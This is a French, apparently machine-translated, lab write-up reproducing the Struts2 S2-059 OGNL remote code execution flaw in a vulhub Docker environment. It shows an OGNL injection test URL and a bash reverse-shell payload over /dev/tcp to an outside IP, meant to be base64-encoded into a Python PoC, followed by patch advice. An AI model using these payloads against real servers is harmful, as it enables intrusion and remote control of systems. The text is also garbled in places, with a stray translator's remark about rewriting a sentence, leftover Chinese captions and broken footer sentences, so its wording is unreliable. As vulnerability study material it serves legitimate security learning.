Maison  >  Article  >  Opération et maintenance  >  Comment la vulnérabilité d'exécution de code à distance Struts2 S2-059 se reproduit-elle ?

Comment la vulnérabilité d'exécution de code à distance Struts2 S2-059 se reproduit-elle ?

王林
王林avant
2023-05-23 22:37:161500parcourir

0x00 Introduction

Struts2 est un framework open source Java Web très puissant lancé par l'organisation logicielle Apache, qui est essentiellement équivalent à un servlet. Struts2 est basé sur l'architecture MVC et possède une structure de framework claire. Il est généralement utilisé comme contrôleur pour établir une interaction de données entre les modèles et les vues, et est utilisé pour créer des applications Web Java au niveau de l'entreprise. Il utilise et étend l'API Java Servlet et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC.

Aperçu de la vulnérabilité 0x01

Un attaquant peut construire une expression OGNL malveillante et la configurer pour qu'elle soit modifiée par une entrée externe, et exécutera la valeur d'attribut de la balise Struts2 de l'expression OGNL, provoquant l'analyse de l'expression OGNL, provoquant finalement le impact de l’exécution de code à distance.

0x02 Impact Scope

Struts 2.0.0 – Struts 2.5.20

0x03 Environment Construction

1 Cet environnement de vulnérabilité est rapidement construit à l'aide de vulhub. //github .com/vulhub/vulhub

cd vulhub-master/struts2/s2-059

Struts2 S2-059 远程代码执行漏洞复现是怎么样的2. Utilisez docker-compose pour créer rapidement l'environnement du champ de tir

docker-compose up -d

Struts2 S2-059 远程代码执行漏洞复现是怎么样的3. Démarrage terminé Ensuite, visitez http://ip:8080/?id=1 dans le navigateur et vous pourrez voir l'interface de test

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x04 récurrence de vulnérabilité

1 Visitez http://ip. :8080/ dans le navigateur ?id=%25{88*88}, vous pouvez constater que le 88*88 exécuté est analysé avec succès et que la valeur d'attribut de la balise Struts2 de l'expression OGNL sera exécutée, provoquant l'expression OGNL à analyser.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的2. Utilisez POC pour faire rebondir le shell. La charge utile du shell de rebond doit être codée en base64

bash -i >& /dev/tcp/172.16.1.132/9967 0>&1

encodage base64. URL :

La phrase originale est déjà une phrase complète qui fournit un lien. Si je devais la réécrire, cela pourrait ressembler à : Voici un lien vers une page Web contenant des informations sur les charges utiles d'exécution du runtime : http://www.jackson-t.ca/runtime-exec-payloads.html Modifiez la charge utile dans le poc avec votre propre charge utile, puis exécutez-la à l'aide. python. Vous pouvez voir que le shell est rebondi

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x05 Suggestions de réparation1. Mise à niveau vers Struts 2.5.22 ou version supérieure
2. Activez les mesures de protection contre l'injection d'expression ONGL.

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer